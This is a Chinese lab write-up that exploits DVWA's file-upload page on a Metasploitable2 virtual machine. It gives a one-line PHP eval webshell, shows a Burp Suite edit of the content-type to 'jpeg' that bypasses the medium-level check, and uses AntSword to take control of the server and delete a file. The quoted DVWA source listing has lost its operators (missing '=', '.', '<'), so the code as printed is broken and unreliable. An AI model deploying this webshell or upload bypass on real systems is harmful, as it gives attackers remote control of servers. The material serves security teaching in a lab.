1 实验环境

  1. 操作系统版本:Windows 11 家庭中文版23H2
  2. VMware® Workstation 16 Pro:16.2.3 build-19376536
  3. Metasploitable2虚拟机版本:2.6.24-16-server
  4. Kali虚拟机版本:6.6.9-amd64

2 实验内容

编写木马程序文件muma.php,内容如下所示:

代码清单2.1 muma.php文件内容
1
<?php @eval($_POST['176']) ?>

首先开启Metasploitable虚拟机,输入用户名和密码进行登录,之后输入“ifconfig”命令查看虚拟机的IP地址,如图2.1所示。

图2.1 查看`Metasploitable`虚拟机的IP地址

开启Kali虚拟机,在浏览器中输入上述IP地址访问Web服务,输入用户名和密码后进行登录,并设置网站的安全等级为“medium”,并点击“Submit”,操作内容如图2.2所示。

图2.2 设置网站安全等级

之后测试文件上传功能,点击“Upload”,选择木马程序文件muma.php文件进行上传,结果如图2.3所示。

图2.3 木马程序上传失败

所以如果不进行数据包的修改,是不能成功上传木马程序的。接下来我们在上传木马程序的过程中进行抓包,首先需要设置Kali虚拟机浏览器的HTTP代理,如图2.4所示。

图2.4 设置浏览器HTTP代理

之后在Kali虚拟机中重新上传木马程序,同时打开Burp Suite的拦截功能,在重新上传的过程中,抓取的数据包如图2.5所示。

图2.5 上传木马程序抓取的数据包

可以看到,在该数据包中文件类型字段是PHP,但是我们设置了网站的安全等级是“medium”,查看其源码如代码清单2.2所示。

代码清单2.2 网站源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php  
    if (isset($_POST['Upload'])) {  
  
            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";  
            $target_path $target_path basename($_FILES['uploaded']['name']);  
            $uploaded_name $_FILES['uploaded']['name'];  
            $uploaded_type $_FILES['uploaded']['type'];  
            $uploaded_size $_FILES['uploaded']['size'];  
  
            if (($uploaded_type == "jpeg") && ($uploaded_size 100000)){  
                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                    echo '<pre>';  
                    echo 'Your image was not uploaded.';  
                    echo '</pre>';  
                      
                  } else {  
                  
                    echo '<pre>';  
                    echo $target_path ' succesfully uploaded!';  
                    echo '</pre>';  
                      
                    }  
            }  
            else{  
                echo '<pre>Your image was not uploaded.</pre>';  
            }  
        }  
?> 

在网页的源码中,会检查所上传的文件类型是否是“jpeg”,这也就说明了为什么我们第一次上传木马程序的过程中为什么会失败,因为我们的文件后缀名是PHP。因此我们可以将数据包中的这个字段修改为“jpeg”,以欺骗程序认为我们上传的是jpeg文件。

上传成功的结果如图2.6所示,网页提示我们上传成功。

图2.6 成功上传木马程序

此时,需要返回到Metasploitable2虚拟机中查看是否真的上传成功,查看结果如图2.7所示。

图2.7 在服务器端成功上传

此时我们就达到了上传木马程序到服务器的目的,接下来需要使用远程连接来控制Metasploitable2的服务器,这里使用中国蚁剑来进行测试,输入木马程序所在的地址,以及木马程序中设置的登录密码,如图2.8所示,之后点击保存。

图2.8 配置远程连接

添加结果如图2.9所示。

图2.9 远程连接添加成功

之后点击右键,选择“虚拟终端”,访问结果如图2.10所示,可以看到这里可以对木马程序所在的服务器进行随意的更改,这里把所在目录下的文件neuq.jpg文件进行成功删除。

图2.10 远程连接木马程序成功

3 实验总结

  1. 文件上传漏洞是一种常见的Web安全漏洞,如果系统的管理员不会用户上传的文件进行严格审查的话,用户可以利用这个漏洞上传一些木马文件,进而取得对系统的控制权。
  2. 在本次实验中,我们就通过上传一个木马程序到服务器中,并通过中国蚁剑这个软件实现了对远程服务器的非法操控,可以对其上的文件进行随意的修改,可以想象一下,如果这发生在现实生活中的话,必然会造成不可挽回的损失。